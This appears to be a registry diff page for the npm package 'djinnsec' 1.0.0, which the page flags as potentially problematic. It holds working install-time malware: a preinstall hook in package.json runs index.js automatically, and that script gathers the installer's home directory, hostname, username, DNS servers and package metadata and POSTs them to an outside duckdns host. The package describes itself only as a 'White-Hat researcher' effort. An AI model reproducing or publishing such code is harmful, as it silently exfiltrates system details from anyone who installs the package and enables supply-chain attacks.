djinnsec 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of djinnsec might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +48 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,48 @@
1
+ //author:- latinbrownie
2
+ //info:- bugbounty.samudio.nl
3
+ const os = require("os");
4
+ const dns = require("dns");
5
+ const querystring = require("querystring");
6
+ const http = require("http");
7
+ const packageJSON = require("./package.json");
8
+ const package = packageJSON.name;
9
+
10
+ const trackingData = JSON.stringify({
11
+ p: package,
12
+ c: __dirname,
13
+ hd: os.homedir(),
14
+ hn: os.hostname(),
15
+ un: os.userInfo().username,
16
+ dns: dns.getServers(),
17
+ r: packageJSON ? packageJSON.___resolved : undefined,
18
+ v: packageJSON.version,
19
+ pjson: packageJSON,
20
+ });
21
+
22
+ var postData = querystring.stringify({
23
+ msg: trackingData,
24
+ });
25
+
26
+ var options = {
27
+ hostname: "cfl3gp3gihk75u3cfh3gx7txzmwi5tytp.samudio.duckdns.org", //replace burpcollaborator.net with Interactsh or pipedream
28
+ port: 80,
29
+ path: "/",
30
+ method: "POST",
31
+ headers: {
32
+ "Content-Type": "application/x-www-form-urlencoded",
33
+ "Content-Length": postData.length,
34
+ },
35
+ };
36
+
37
+ var req = http.request(options, (res) => {
38
+ res.on("data", (d) => {
39
+ process.stdout.write(d);
40
+ });
41
+ });
42
+
43
+ req.on("error", (e) => {
44
+ // console.error(e);
45
+ });
46
+
47
+ req.write(postData);
48
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "djinnsec",
3
+ "version": "1.0.0",
4
+ "description": "White-Hat researcher",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "latinbrownie",
11
+ "license": "ISC"
12
+ }